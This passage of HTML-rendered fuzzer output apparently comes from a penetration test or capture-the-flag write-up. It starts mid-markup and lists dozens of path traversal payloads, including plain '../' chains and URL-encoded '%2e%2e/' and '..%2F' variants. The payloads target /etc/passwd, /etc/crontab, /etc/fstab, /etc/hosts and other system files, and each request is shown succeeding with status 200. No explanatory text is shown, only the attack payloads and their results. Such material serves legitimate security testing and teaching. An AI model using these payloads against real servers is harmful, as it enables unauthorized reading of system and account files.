&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fpasswd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 56ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/apt/sources.list [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;632&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/crontab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1392&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/fstab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;436&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/group [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;940&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.deny [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;948&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 72ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.allow [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;548&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 73ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/netconfig [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/motd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;384&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/issue [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/nsswitch.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;680&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/./././././././././././etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 40ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
